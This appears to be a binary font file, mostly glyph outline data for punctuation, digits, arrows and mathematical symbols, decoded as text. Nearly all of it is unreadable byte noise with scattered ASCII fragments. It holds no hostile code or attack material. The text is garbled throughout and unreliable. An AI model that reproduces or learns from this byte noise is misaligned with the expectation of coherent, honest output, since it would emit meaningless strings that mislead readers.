��u��ff����f&C����f��2���f&C��2���f��E�V�r&̜���E�V�r&̜���E�V�r&̜���E�V�r&̜���E�V�r&�̜��E�V�r&�̜��E�V��&̜���E�V��&̜������Vr&q������Vr&q������Vr&q�����Vr&q����]�Vr&�q���{�Vr&�q�����V�&q������V�&q���[�V\r'�����[�V\r'�����[�V\r'�����[�V\r'�����[�V�r&�����[�V�r&�����[�V��'�����[�V��'��������V�r&q������V�r&q������V�r&q������V�r&q�����V�r&�q����V�r&�q����V��&q�����V��&q���2�V�r&���2�V�r&���2�V�r&���2�V�r&���2�V�r&���2�V�r&���2�V��&���2�V��&������V�r&q�����V�r&q����V�r&q �����V�r&q!�����V�r&"q����V�r&#q�����V��&q$���^�V��&q%��E���H&����E����&����E�V�f&̜&��E�V�y&̜���E�V�f&̜���E���7&s���E�V�7&̜i�����m&�
�����i0&�
�����f'��p�����f������V�&q���2�xrr����VY���2�xr#727#73V2���"���d�����V7v���F��'sMTj��[�V\f'��*��[�V\{'����[�Vff'�����|�V\7&s��[�V\7'��x���;�f'��v������f����	�f'��D����Q�f������V��&q���8�Jr'��r���j��r&�dr�8������'sF�r���JH&����+�&����-�&����������V7&s�����&t��9�m&�
���9�0&�
����m�f'���������f���j�Jr'���������r&�d��$������'s>������H&������&������&���������%�Vzr&r��%�Vzr&�����7&s�����&t���Dm&�
����D0&�
����	Df'��D�����Df������r'�������F-�'�rj���F�������PfC��2�V�f&�2��2�V�`&���2�V�f&���2���7&s��2�V�7&�����T��f'��������f����T�f'���������f������V��&q���?�ffvd�xr73#3"e"�"����d/�Z����991��0!!P
!������/�Z������y@����991��0!!��/y�����y@����991��0!!��/y�����y@���991��0!!��/y�����y@���991��0!!��/y�����'_�_�����]&BB����9@:og���91��0KSX��9Y"#73�)����~�����5@:og���1��0KSX��9Y"3#��)�������/5@:on���1��0KSX��9Y"3#��)��/���B#7B*�t*������e@3
	:o	g

������991�<�20KSX��9��9Y"#73#73��&���
�'����~����~����y_@0
	:	og

������91�<�20KSX��9��9Y"3#%3#��)���)�����������/_@0
	:	on

������91�<�20KSX��9��9Y"3#%3#�'��'��/�����)�#7##7*�s*�*�s*�������;o�\@0:�
Q�	
���99991���<�20KSX����Y"3!!#!7!��Ro��ٮ��o�\���]�;�;o��@L
:�
�
�Q


	���9991���2�2�2�20KSX������Y"%!#!7!!7!3!!!��R�P��oj��oR�Ro��hn�\�����\���?��!�	�&��1��04632#"&?�}|��}|��|��{|��?��q?�����)/w@<
	:n

	�������999991/<<�220KSX������Y"3#3#3#�<�o�;����;�/��/��/����'3?Km@<%1=
��1�%�+\C�7�IF:4(:"FG4"@
"G""".G"@(/���������99991/<�2�2����299990'32654&#"4632#"&32654&#"4632#"&32654&#"4632#"&H%'�H_EDbcCE_y�xx��wy�LaEEacCEay�yx��xy�aEF`bDEay�yx��xy�7a�`�JGacECcaEy��xy���EaaECcaEx��xy���"GaaGCcaEx��xy����@LP[f4632#"&62654&#"4626763267632#"'&'#"'&'#"&732654&#"/2654&#"2654&#"�yx��xy�ya�acCEڊ�E
		
EfdE
		
Efd��deF
		
FceF	
Fce�eO:9QR8:O%'�QtPR8:QzQtPR8:Qyx��xy����aaECc�y�S

SS

S�xy�T

TT



T�{GacECca�a�`�JGaaGCcaEGaaGCca�`F�3����`u�����`��'�j����Z`r�&�'���,�`��#3�W��`u��8`��'�j�����`*�'��'�,�5�m#@�uC��91��907m+���!�{#������R=�s#@�uC��91��90%77=+_�#���
��^R��?��'��4M_�$#7>3273767676'&f�� #`o%i�h�\[..piR6��2�2T6J!	7��#D�98``�LAB\VBT=���B�R-;,,1Y7����B������ $7#"$'5�ZT������������hh~vvuw~i��!#3#3!m������V��E��F�����#73#7!!73'�������X�;����ޏ������'
���
�4��x��'
��^S��?��'��
�'�;��
2###/��%$��ڤ�0��ЍH�辸������a��
$<4762#"&%#"'&5476767632276767654'&#"bJ&%6�N89JKd�??&&:9JJc�@@�Y6.,!/!!H8,. /#"@  ,�k�MO&&ED�l{zOO&%ED��8NtsdV'&5NtujO'&?��	
!3!73#3#�(w����e��tt��PP�D����

t@>



JJJ
J:��`
		���991���<�290KSX������Y"33##7!7	!��iuw!�#�~��
��o��y}�y4��&!!>32#"&'7327654'&#"���1 <MM##A>IM`H~09v?}RR66`5782�_�	?@gFAB0.rABaH()b��64'&#"326.#"67632#"'&5476767632f''HbCB))Ha��'\2�TT%1;?LvBA.5BCR�JJ-Bfg�200�?#"GFkC'&�ThPP�=87h?FC.7ABx]deRx<<	a��!#!�u
���$�5���A��,:4'&#"3276&'&547632#"'&5476"327654'&M-,O`=>ZLc==��H$%dc�x�BAkS,+̟�POFG2UnNER98((�A%%87V;F34();eHHfPOA@0.Ku�99d]BBUZF7@11F2a��4327654'&#"732767#"&54767>32#"'&NH`DC)(HaAB�'.-3�UT%.?>Lx�-5�R�KK4.Bgf�3//�@DGFkE&&KK��hPP�9pgCBC.66BAx^�Rw=<	��,!!#5!5!5���j��,�_��_���3!!��f3_a��!!!!��f��f�`D_�;
#.547;��%&e1/������Q�[j�P�O��<
654&'3���&&f00���V�Q�Zi�P������#6&#"#367632�K�K;PZ;:D�y�-@@Px^!�{�TP43`��s^6~��a��T��d��\�C{�d��3�Tt�d�����Tu�d���C��d��4��C��d��b��T��d��aC��d��A��T��d��a��T��d��?����d��8����d����	��d����i;f��d����i<f��d��)������d��%������d��.������d����s|�d��$������d�����XS�d��
�g��d���8nz�d�������d������d�������d��"��{�d��D�%��dQ��##"32.#"3267!!!!!!>�D��H�Es.+mD��;m�C�>F���,o��6���667756�GF�D�FG
�����k�N���9,6<073&'3267#"'#7&'#7&'&476$;73&'�&$/zE"/2�.r�d'a�d"y#,'4yQ	�e_d�
z�sZlL245�+,�#$-�
r��9(��YY�34@W}�

��X���I�
FR�l�z�d	�N����2%6767#"476$32.#"3>32.#"�JGkd'c�e��f_e�k�R"P�h��M24WFy��7�W,6m��
,Y�348�X���GG�a^��l�z�kVe�X]�ɨ9��!!!!3###7����K��4��,�-��=��H��ϔ���-��#!!73#737#737632.#"!!!B���B����0��@�@!8y:��&e��c����m���.��(*�����.�BI+#6'&#"#367623632#6&#"#Se@
GT<=In�n1;:�,teM=GhUNnM2FU<=In"�x�GM_a���`�f21>&>E�3��\���__�������"&)''#!333#3#!###737#73377�'(�%h�k�k����k��h�k�k������'(����4��&��{�{��&��&{�{{����������?X32654&#+#32333632.#"#"'&'#"&54673#;732654/.54�5{TY=6�5M�{9b��cg9Y�>^,T(#O)GQ_Y<�o+/UOO:߆9%)1_,BRl	D?/�ϰ�it���^���վ�>��/J�((cUc53pa��
��7!`��".
@:M46tY`;%y^�	����E326&##.+#!232676&/.7>32.#"#"'&;�TdGT}CEEFt��y`L#6 3468J[	1^#^G�v;d((]3OX	1Q#kN�|45/������b����؍�$�~�3YQKP%$�����((TT@I!*����*�"&)-1'#73'3!73!733#3#####7!73'!!7g=&�[8�\8�9%=!Og�������!h	��"����!Q�;!u������u����������g�uu���g�uuuu���E�
%2#6&#!#)"33!3��Ɠ5E�@+S�����M�rƔ6D�?,S��������V���*$o����N��w���&�ik�������-|@C$%�|{c!|{
c
�'+a!e.'.-,+($$
&,$.������9999999991���<�2�2�����299032.#"!!!!3267#"5#73>7#7�]L�J�H'F�G��G�2�8�/����L�U'P�V��1�
�1�!*(�A<��l+\4n6��@=�*(
-n;Y'l!3�33!!###5�q�p��0��4�ၹ�hZ{��u��r��)�r�/�!7!!77#'?'d�,!o �/K����y�_���%���~aMn�jMw���]Mk�fM
�'�3l��'67>32#"'&'"32676767654'&'&67'>7632#"'.'&/#"'&547>3232676767654'&'&&#"32\�!+"X3&;#$06-�-$		 #
	��
�U@'D[i�&#/>$*)5' /

2/=!	S6&X�&8^)
5�$	�'*ޛkSo;48O07zfi8@ 3l8#?7%!73:'&
�)3^
";6T�$B~od�4LNt���Fu05	
.'
#UB4F_����A9�pT�ne?<&#cE���#
��5�1A'632327&54767632#72767654'#"'&#"%67654'&#"~m�fp,=,>�	Xa|jG)
)l#�t�z`MJ�cg1 1.$Q./*`�NkB��04�X``7a0<㫃�%&†q�J<�
Na~hF�l�*!#??0W!}3!�!&+!23#3#!###737#73!32767!%&+V��l[p[	`f(S����u˳dcnm����և��%���\M�Z.+ZfJ����ZYZ���*/Y���<�[�x&1#7&'&54776?3&'&'6767#7!'��_L@����_R_J&FYQa�G=D;Gnpiuel_�[6*5�����n�nͦ��$F�_0,�?'���S*%�� l���d�Yl����7!3!#3##!##7373!/3|�I���H�>�2����g�b�Ͽ'R{��{�{����{���{A�����667676&#"7>323#!!3267#"&767#736767!7eA��^�g'q�V��' ��o�):��7��hہ*t�i��)��W��D�	4cq�<;�''��K={[/	{9b{�DI�--��N@{
O/{����!,&'&#2767#&'&776?�)GLKf�f]]o)gc_\4d5�]�=?���,e+\RV���_P�0-
W6��i--��--i�H$"��u�9B�t��"#���Bu��f�lCg3�!!!!#!�s!��s!�-���+ժx���	p�%!!##.+732767!7!&'&+7O��F#O�\c�J,+3|�i.hc� ݑVG��O�(<��O�{P{�V^86��hy�]�M@f{L5N{����!#'%7'%3%%2�K�h���i��9^��6^^�B;��:��e�.:�~���n؉�n���oو�o��.	��!2+!!##737#73326&#�I��++��!t ��4�4� �!� �7m��3�����⦦�����1�ϔ
�t����%%3267# '&547!2."�U|d�]
ք��{OH�}�8Sr�yx	�A<	�7@,�Lԉ�k|r�4�*:0N���ue�v���#5D.#"3267#"&5467>32%3#%"&5467>3232654&#"5E$(H)-CD$PK1X.v�@@+xF)Pڞ���jz'!4�Rf}'!2��77Sq95/I��:!*'?�[jb!8�����Z@AK��ä^�Chf��f�Dielmc�faBF5�:��3!3%!!!!!!���D���f�e���g��q��
��
d��x�+�%��THKTH632#64&#"#'?3%Ǘŋ����]W�!{����1�$���Ñ�Em�J�H�W�����EbO��YbcJ��
%#	!3!# �G����H�M���ZMd
��q��+��y��02#"547"327654!!3>3"##726�4��4�2	 3	��b���[��y�$U2��y�$U2�.=���.=��0Z�/=�	�1��Q~���>;�\������>}�N*3>"32>54.'2#".5467>32654&#%!2+#hj��MMKL�ij��KL��k�ZZ\[��~}ڶ[\ZZ�&�RXXR�������u�J��jh�KLLL��ij��JgZZ[�~}ڶ[[��}~�[ZZ����ICBISqmop��B��33!27&#%!2+!67654'&��` �`s���1:+YX*q��
�j�d�����Z��)V��V)���� (%#'#  %27&"676'&\�ӿ,��F E���]�]]�][��{������ab��[������22�22�jT%����%5��$�c�$%��	&.2&'&+3!.+!!2!27&#676'&%3�A::f&AVy��-`5����?vf��A��d)���7%LK$�2��01/��O�~�h�b������b)��j���)V>U)-��
�f�h@6	
	

				:	�
Q
	
11010/�������91�<<�2�<<�90KSX����Y"###5!3###��r���}�r�7�q�^��^�����-�B0��
%#!!!5!b��JZC�J����]d
��qd��dd
�����������J�.����m����-)7 7673 $54$32!"53!25&'&#"�6Ky{U>ZLt���ࠢ"��"��3�8M{��{M7�M3TT<`xGZ�A��E�����IpP3RQ4O�	
!!!7!#3#3#B!�#�n!�ӄ���O�-�`�dd��h����/���{&
�'���V{�����/���{&
�'���`{�����/��m{&
�'{���u��V��/��m�&
�'t���u��V��/���{&
�'{������V��/����&
�'t������V��/����&
�'u�����V��/���{&
�'�����V��/���{&
�'{������V��/���{&
�'�����V��/���{&
�'{������V��/����&
�'u�����V��/���{&
�'�����V��/���{&
�'�����V��/�m{&
�{�����/��m�'u��V&
���B��}	5!!B#Z�p���ZR#Z���Z�M		'#'�"Z���Z$M��Z���p�Z#B��}		'7!5!'7���Z���p�Z#��Z���Z���M	!737@��Z���Z��#Z�p���Z��B��}!5!'7'��m�Z��#Z���Z#��ZߠZ#R#Z��Z��R��Z�M%7#7'3'��Z��R��Z��Z$R"Z�ݠZ��#Z���Z#��Z��a	7!##�:��nt��':��tn��a	#5'#5!��tn��'�d�tn�a	)53753�d�tnnt���d�a	733!�nt���d:��nt��B��}3!'7!5!7��ѓ�c�}�Z��#Z�㔎���R��Z#R#Z��RB��}#5!7!'7'7!'�/��c��Z#��Z����ߤ�R��Z��R��Z��RY�xa532767676767632&'&'&#"#"'&/#7!$f !
+!3-68+2",j!!!3
.6+85.0$m:��w'07)(6;C+: ,:'+���:Y�xa5!5!#5#"'&'&'.'&#"'6767632327676����:m$0.58+6.
3!!!j,"2+86-3!+
! f�:�d�+':, :+C;6()70'wB��}!!'#537i&�ڠZ���Z��#Z���Z���Z��Z#R#Z��Z�M'75'3''#�Z��Z$R"Z��Z��&�Z���Z#��Z���Z���B��}'73'7'7#'7!5h�Z���Z#��Z���Z�����Z��Z��R��Z��Z���M77#75'73��Z��Z��R��Z��Z��'�Z���Z��#Z���Z�&B��}'!5!7��Z���Z��#Z��Z1�Z��Z#R#Z��ZB��}'7!'7'7!'4�Z��Z#��Z���Z1�Z��Z��R��Z��ZB��}
53#5!5뤤�4�Z��#Z����h��Z#R#Z��M
%'3'3!5�Z$R"Z���h�̠Z#��Z��4��B��}
!'7'7!#3�̠Z#��Z��4����Z��R��Z����M
7#7#5!��Z��R��Z�����4�Z��#Z�̤��M%'7'3'73!5�Z��Z$R"Z��Z���h��Z��Z#��Z���Z���B��#(276767654'&'&'&#52#!5d

	
>b-*,%:0���Z��#Z��
	
�*+(54<852.&�Z#R#Z�B��#)!'7'7!"'&'&'&547676763"mE�Z#��Z���0:%,*-11>
	

��Z��R��Z�&.258<45(+�
	
B��#$>2+#5!5!54767676"3276767654'&'&'&l>b-*,%:0���ΠZ��#Z�2)-019	o

	
#*+(54<852.&�ՠZ#R#Z�};47(+�

}
	
B��#$>!'7'7!#5#"'&'&'&54767>";54'&'&'&e910-)2�Z#��Z���0:%,*-b>
	

o	#+(74;}�Z��R��Z���&.258<45(+*�
	
}

B��}X3267676767632267676?'7'7#&"'&'&'&'&'&""'&'&'&#5!!�Z#��Z�	>	>	�Z��#Z�"		*!#$'		*	�Z��R��Z�
%
 '%

%' "
�Z#R#ZB���!'7#5!3'7'���<�2�Z��#Z�<�2��Z#��Z�� �Z#R#Z� �Z��R��Zq`�
%7'7]�J��Q�g�z�=��Z�ӄh�
PJ��V}����e5!#��Z��"Z���ǠZ#R#Z�����e!#!'7'<� ���Z$��Z�9k�Z��R��Z�e!3!5��z�Z��"Z����Z#R#Z�e'7'7!3<�Z$��Z��|���Z��R��Z�k�9�R%!5!7#7y�Ac�Z��R��Z�Ѥ���Z��#Z?�]!3!5Ҥ���Z��"Z�����Z#R#ZQX��)7676767632#4'&'&'&7#7K$<9JGTWDL7: �%#0(79).%$�Z��R��Z5NSH;9!6:IFT7/0'$&$2(G�Z��#ZQX��*7#756'&'&'&'&0#676767632��Z��R��Z�$%.)97(0#%� :7LDWTGJ9<$5�Z��#Z�G(2$&$'0/7TFI:6!9;HSN2�	
7!##5!�:��nt���l':��tn�?PPB��
!!#33#'7!5!'7�#Z��4�Z�ݤ�����Z��4̠Z�#Z���Z#�����#�h#��Z���ZXy�6#"'&'&'&547672767>54'&/#7!�J%%%'HD_SlhX[HJ%%%%Jw422-A8�;>112-!:�zJZ[ghX\HC+%%'GKY[eg[WMs2=>FD{2,/2{DF>H'��:Xy�6#5!#52767>54'&'7#"'&'&'&54767<��:!-211>;�8A-224wJ%%%%JH[XhlS_DH'&&&Iz:�d�'H>FD{2/,2{DF>=2sMW[ge[YKG'%%+CH\Xhg[[IB��}5!B#Z�p�{#Z��B���!!BM���Z�����Z#�M3'#|"Z��M��Z����M#'���Z$M��p�Z#B��}!5!'7���p�Z#ߤ�Z��B���'7!5���Z����{��Z���M!37��Z��M���Z��G�M!#73�{��Z��#Z�pB�|		'7!5!'7	5!!���Z���p�Z#��#Z�p���Z��Z���Z���R#Z���Z*�M	!737	3'#'2��Z���Z���R"Z���Z#Z�p���Z��M��Z���p�ZB�|	'7!5!'7%!!���Z���p�Z��#Z�p���Z��uR��Z���Z�#Z���Z#B�|'5!!!!5�#Z�p����p���Z��>�R#Z������Z#R*�M73'#'#'3h�R"Z������Z$R���Z���p����p�Z#B�|'7!5!'7!5!'7���Z���p����p�Z#>�R��Z������Z��R*�M%#73737#h�R��Z������Z��R��#Z�p����p���Z��BA�!
'7!=!���Z���#Z�p�{��Z���{#Z��BA�!
!!	!5!'7BM���Z��M��p�Z#ߤ�Z#��Z��B��}!73!!!'7#5!!q�Va6���Z��EV`6�NZ��#Z"�>RRjը;mR�R�:lNZ#R#Z�RRB���!!373'7'7#'7#537!7'!��RR�ȚNZ#��ZN��|NZ��#ZN�.�9#!RR�RR�NZ��R��ZN� ~NZ#R#ZN� ��RRB��}!'7#5!7!5!73'7'%!7'!`�]Va6�.Z�x�V`6�NZ#��Z���RR����;mR�R�:lNZ��R��Z�RRB��}!!5!RRp��NZ��#ZN�RRRNZ#R#ZNR�M#'3'#'RNZ$R"ZNRSp��NZ#��ZN��pRB��}!5!'7'7!5!7���NZ#��ZN��pR�RNZ��R��ZNRR�M%37#73�RNZ��R��ZNRR�p��NZ��#ZN��RB��}!!7/7'7!5��mRR�R�NZ#��ZN�NZ��#ZN�RRR�NZ��R��ZNNZ#R#ZN�M'77#7'3�SRRSQNZ��R��ZNNZ$R"ZpRR�mRRA�NZ��#ZN�NZ#��Z���6a##7!#�tn:��:�n3:�t��:5p�:��:���6a	'#5!#5'5C��:3n�:��:n�:4:�dp��:nt�6�%753!5373���:4:�dp��:nt�n:��n�d:4:���6�%3!'3�n:��n�d:4:��n:��:�p5:��tB��}5!!!!!�Z��#Z��w��gw"?Z#R#ZRwRwRB��}!5!7!5!'!5!7�0"w�g�w���Z#��?RwRwRZ��R��B��}37773'''#5�:����;!\����[`�Z��#Z�C����C�j����j�Z#R#ZB��}'7'7#'''53777��Z#��Z�`[����\!;����:��Z��R��Z�j����j�C����C�M%#5#535#535'3'3#3�������Z$R"Z��������t���Z#��Z���t��M533#3#7#75#535#5������Z��R��Z��������t���Z��#Z���t�B��}	
!553353!���Z��#Z��{����Z#R#Z�������M	
'3'#7#7�Z$R"Z����n�Z#��Z���}���ʻ�B��}	
!'7'7!+53#53��Z#��Z���}���ʻ���Z��R��Z�����M	
7#77'3'3��Z��R��Z�������Z��#Z�}��6��B��}
!!#3�#Z��4�Z�ݤ�Z#Z���Z#���B��}
3#'7!5!'7뤤��Z��4̠ZZ#�h#��Z���Z���
5!5!	!!?��
��O��u�����]�%uu����v
333'#!#�\�^�v���tP��
��uB���
!!75!!5���
��t�]�]���X����v
###3!3,^�\���X��&
���������v
3'335%!!#	#�^��\��X���tv��p�����F���gu������v
%3'3#!5%#	#3!�^��\�^�$�tv���~�����F�u�������v#3#!5#3/#	#3!��J\�^�^|HGe�tv���J����~{GG�M�u�������v
3#!!5#3#	#3!F�\�F�^���tv�������W�~���u�������v3'333'37#	##!#�^��\�f��d^��tv���������
��^�u����9��v
#!5#3'%3'37#7#	##3!3�^�^�� f��d^����tv�������J��������^���u�����B���
'#35!7'!!!5	5��~�����t������]��]����������E�F	7!##!#*:��nt��a�I':��tn��I�FE�F	%!53753!5!l�d�tn~���nt���d&��I���v	#7#3'#	#3	3\��^^���tv������P����*��Ou���t��uB��}'0#"'&'#53676323'7'7%&'&#"!3276�4RvxN1kk2Ow9g' �Z#��Z���0GD2&��+JD5�@3PO2B�B4R,( :�Z��R��Z��11�/0*�M	!#737'#'�R��Z���Z�"Z���Z$#Z�p���Z*��Z���p�Z#B��a7!5!'7!5!'7'7!5!���p����p�Z#�����Z���p?������Z��R��R��R��Z��B��}#5!5!53!����Z��#Z�[�q���Z#R#Z����B��}!5!53!'7'7!#���p�\�Z#��Z����ߤ���Z��R��Z��B��}#53533'7'7##��Z��#Z�����Z#��Z���ߠZ#R#Z����Z��R��Z��B��}#5##5#53533533Ҥt���Z��#Z���t�������Z#R#Z������B��}#53533533'7'7##5##����t���Z#��Z���t�ߤ�����Z��R��Z����B��}53533533'7'7##5##5�Z��#Z���8���Z#��Z���8�ߠZ#R#Z������Z��R��Z��������	!!	?��O����u������uuB���	7%	!5���u�����z�R#����#����7	!	?��S�:��u�u�������z�R��uu��#����#%��
%!3!3h�V[�7�ln�7���R�{��+u��\� #&'&#"327673 u	��B!�O������O�!B��
o���c�I7�����͙7I�c����L 0"'&547632654'&#"563 3276767&#"�\m`c�u\6%
 G�Gnthr5?����,/H@3H5,Y��:$Ue����I+HQ\�N�,��t�q����zSd69->eSY׮l��7!!5!!5!!���L��Lk�����+���5!#7#53!5!!5!733!���Z����D��2��/������+^^���``���k��Ib��!0?"'&''7&'&54767>2"&'2767>54'&&cv-'''OO��_@8vcu-'''OO��_A:��GE:;9($(���#&G�FF:;9�cv8@_pm__ONP(-vcu:A_mp__OOP(-9;�SPF($(���9;�PSF'����O@*BBBB:����91/��90KSX����Y"#3	!��������q������!#7!���hq���q��P�C�?�3�	3�����ް2����ް2�2����013!!"&63!!"!0",�Z�(�膆��(\JN*"�f_����Q�QĪKM�_f���OPi%+i�?�3�3������ް2�&2�'2���$�%��ް2�2�2�2������/�/01%3!!"''7&'&6;73#!!#"!#L�(0,:�CyEB�航6�'|��>��v\JK-".4�"$:���1�c���Qı2��#��KK�_f�f_lF��O]B�/�	3�
3�����ް2����ް2�2����01!3!!".>3!!"N��=c��(�憆��(�c=֪I9[����[9I�P�C�?�3�3�����ް2����ް2�2���	�01&'.#!5!2#!5!276767!5� ,�Z�(؈膆�(�\JL, ��1f_������r��ĪKM�_f���OPi%+h�?�3�3�3�3�������ް2�$2�%2���&�'��ް2�2�2����/�/01&#!5!27+'7#53!5!3276767!73&'&'��(�/-9�CyDD�舫6�'{����rx\JJ. ��4� %:
��1�c���r��ı2�ݪ�yKK�_f�f_lF��O]B�/�3�3�����ް2����ް2�2��	�
�015!&'&#!5!2#!5!2767�>b��(؈憆�(؆b>,�I9[�����[9I��3!������L9�@
�LL����1�2��0!#!������L��^����L9�!3!9�_�k�^�����L=�-@	�	���
�<�91����990!!5	5!!L�R%����#
�Չ\�P_���X-y��l��1��0!!X!��תXy�!5!!5!3!!y��!���D����C�mI�L��������B#�����+U
�e��+G��r����?�����;����
/@

	��991���90'%3##d)#�Ӕ/���}b�%����9;���v
3'%3###"&'532654&+532654&#"5>32d)#�Ӕ/��>^c��:r;Eq-evnmBJ]b`W,p;Eu2��X�}b�%����9�lP|�yQDJLl?<8?yvcG];���e
'%3##33##5!5	!d)#�Ӕ/��ڢtt��}����}b�%����9S��o��y��c���%.#"326"&'#"&54632>3"3�8\<HZRDDj�P�NB�T~���^�8.�Z8h.8\:{�c�jm�v��d�|k֥��s�u�u|�d)���/7@$	�'!�	�-�0$22*0����99991�<�2�<�299032654&#".#"326>32#"&'#"&54632�9[=G[TFBi�8\=G[SDCj~/�[w��~S�NA�U}���^�s�d�lk�ut�c�jm�v�u۠��d�|k֥��s}T�!3!T�*�,��}T�!3!T�*��p�������_�,�33#	�N�M�������^��T�,�3	3#��������T��^�,�$476767632#4'&'&'&#"#�;9_Uij�B9�
KGLV<S
�D�bg:8 :;3l\��]A99 )0!&p0�`�,�$33276767653#"'&'&'&��
S<VLGK
�9B�jiU_9;^D�`0p&!0) 99A]����\l3;: 8:gb���P�47676&'776^A���j\Nx]A���j\NwD"jdEqqC���jdEqqC?�|�/47632&#"'776%47632&#"'776�9CmjZCC:59CmjZCM06�P9CmjZCC:69CmjZCM05D"b\i9&
	���b\i9+�"b\i9&
	���b\i9+5����/G#"'767654327&#"'767654327&#"'767654327&R2"$J2q-22"$J2q-1��2"$J2q-22"$J2q-1��2"$J2q-12"$J2q-2N�JQo]N�JSm��N�JQo]N�JSm��N�JQo]N�JSm�����'Q4�W'Q��WQ��$�����'Q0$'Q��$Q�W������'Q��$Q�W�����'Q0$'Q4�W'Q��$Q��W��X-y�'Q$�J���3#3#!!��������������|���W�}�'Q�n�W'Q�o$'Q��W'Q�$���X�y�'Q�W'Q$�X�y#"'&'.#"5>32326yK�OZqMg3O�IN�S5dK
t]F��;73
";@�<7 6<X�y32767>32.#"#"&'XJ�F]t
Kd5S�NI�O3gMqZO�K?<6 7<�@;"
37;X�yG&'&#"5>323267#"''43O�IN�S61-N�SXIF�JK�OQdS�P;@�<7W��"<?�;7)��X1y�!!#"/.#"5>323326X!��!K�OZq!Sc1N�JO�R`�!t]D�����;83$<A�>777=X`y�!!#"'&'.#"5>32326X!��!K�OZqMg3O�IN�S5dK
t]F��c�;73
";@�<7 6<Xbz�'767#"'!!'7#5!7&'&567676ǧfYUE5kIQ%\n*�x�rY�Q�MoIF\<[ETFR�
�q��$"B�2(���d���%(9�L5XX�y�$!!!!#"'&'.#"5>32326X!��!��!K�OZqMg3O�IN�S52'V
t]F�ج��ϯ;73
";@�<7	"6<X1y�0%#5!7!5!73!!!'#"'&'.#"5>32326Q�u��{hq,������gqTK�OZqMg3O�IN�S52'V
t]F������R=����R�;73
";@�<7	"6<Xy.1%!5!7!5!7&'.#"5>3273267#"'!!!!'h��ME�n�K	Mg3O�IN�S523J:V�QF�JK�O!8��!E$��F������";@�<7 �8�<?�;7�����7X1y�7K@&' 10+5ll* l5'l.810*8�<�2991�<���2�<��<�99990#"'&'.#"5>32326#"'&'.#"5>323326yK�OZqMg3O�IN�S5dK
t]F�JK�OZqSc1N�JO�R`�t]D�ï;73
";@�<7 6<�а;83
$<A�>77
7=X0y�8&#"5>327&'&#"5>323267#"'3267#"/'�00N�JO�R:G67'43O�IN�S520N]�a91F�JK�O?J4r[D�KK�Odgb��<A�>7�	;@�<7!7)��<?�;7�5=@�;83��)X�y�7;#"'&'.#"5>32326#"'&'.#"5>323326!!yK�OZqMg3O�IN�S5dK
t]F�JK�OZqSc1N�JO�R`�t]D��*!����;73
";@�<7 6<�а;83
$<A�>77
7=���X�y�7S#"'&'.#"5>323326#"'&'.#"5>32326#"'&'.#"5>323326yK�OZqSc1N�JO�R`�t]D�KK�OZqMg3O�IN�S5dK
t]F�JK�OZqSc1N�JO�R`�t]D���;83
$<A�>77
7=�;73
";@�<7 6<�а;83
$<A�>77
7=X�y�$!5!53276767632.#"#"&'y��!��J�F]t
V'25S�NI�O3gMqZO�Kج�����#?<6"	7<�@;"
37;W�y' %52% $'"51�p��Z��V�(�I������ٜ�����������XDz�;%76767!##"'&'&'#5!!5367676323!&'&'&i1*+V�	WJRNMR 	�W,!::!,���\HSLPM%�+*�%'H:^�2:A<336G84�^:H'@'H?Y� L=@33/N0<�^:H'%X`z�!!5367676323!&'&'&!!i:!,���\HSLPM%�+*��!��#'H?Y� L=@33/N0<�^:H'%����X`y'Q� ��X��y& 'Q��Q���X��y'Q�o�& Q�����W��z'Q�n��& Q��J.��3#3#!5!5J����=����>����𹬬���J.��##!!!!��������>������7�B�X`y�	365&'!!5!&547!5!!%43�44�8��>��!���0IG00GG2�?8>;��_8X`y !!!!"264&'2#"&546X!��!��Idd�deH:l'**�z{���B��bFE``�bq+((d:s��vv�X`yK!!!!2&'56X!��!����������B�S���	���X`yD!!!!73#X!��!����鏫��B��Z����VX`yD!!!!33#X!��!��֕�����B�L�V���X`y�!!!!!!'X!��!�߰
TU�U��T�B�������X`y�
!!!!!3!X!��!���-�e���B��z(�iE`�07GO!!!!#"3###535463!3267#"&54632.#"'53#5#"&4632264&"X!��!��4@#mmC???D��JB&G$$K&aqk[Q_B;18B�CC?-I\\I-?�<i<<i�B�$7%$3��`3D=�� DH>p`ctiF6A?9i��=$#t�u#g�SS�SX`y*!!!!>32#4&#"#4&#"#3>32X!��!��."]?T\Y88EQY7:DQYYU;;R�B��=:xo��HOM]Q��HPL^P��%U20=X`y�,!!!!3#7#546?>54&#"5>32X!��!���ffc`--A6(Y1/a3\p$-,�B�i�N2A+,/-7#!^aO&E++
X%y�<@ 

l
l
	�<�291�<�2�<��<�990!3!!!'7#5!7!X��}�����y�}��J����;fժ��hӬ�X�yB!!!!!!X!��!��!��ج����X
y�%#5!7!5!7!5!73!!!!!'G�=X�k�X���U�7��Y�� Z:�wS��������Aw������@Xy�7!!!!!!!!X!��!��!��!�߬�������Vw?
(@��l	�<�2291/���905!5w��!��!����L�K��
��Xy?
(@��l	�<<�291/���90-5!!X#��!��!���������V�V�Tw�
3!!5!5V!��!��!��!�߬¶L�K��
��V�Tw�
3!!-5!5V!��!��!��!�߬�������V��V��w�#5!7!5!73!!!'5 �p[�5m�{*��[���y~��!�߬�`��u,�`��v�L�K��V��w�#5!7!5!73!!!'-5 �p[�5m�{*��[���y�!��!�߬�`��u,�`��v�������Wy&%5767$'5674���[�š�z�آb������|�۠����M��)I�g#������M(J�h#X��y %5%%%'�w2r�K/��d��t��������m0�x��������0�oVX��y '75%%5%'����r�K��nd�.t��'�o����0�x��E���u0�#oVX�
y!5!%5%%%!!'X����C_�^?s�M��N��#N+��P��J>������`5�Y�d�|����5X�
y!!'7#5375%7%57'����N��EO�>��:��fL�N�t���t�����5���\�h�}��a5��H<V��w?#%#"'&'.#"5>323265wK�OZqMg3O�IN�S52'V
t]F�J��!���;73
";@�<7	"6<�L�K��V��w?!(%#"'&'&'&#"5676323276-5wKHGOZqM343OFGINIIS52'V
t]FDE�)!��!���;3
"@�<	"6������V�
w+.%"5>327%5%%%3267#"'&'&''}Q�IN�SE�^As�M��P��#Bt]F�JK�OZq _�4���O;@�<7փ��_5�X�c�|���6<?�;73
��5�K>V�
w27'732767#"'&'&''5676?5%7%5���3���;L
t]FDEJGLGOZqP<g�UGINI5:"��gN�K�t�YG;����6?�83
$
��5@�<j]�i�~��b5V�Jw�
3-5	5V!��!��!��!���������L�K��V�Jw�
!5-5w��!��!��!�߶L�K��`������V�pw�!%'75%%57%5%7%'������N��m�L�4P�|��3hn�L���,��WJ/q��N�����0�N�Zp��O���h2�M�X��XHV�pw�!%%'%5%75%7%577,�~'�b��
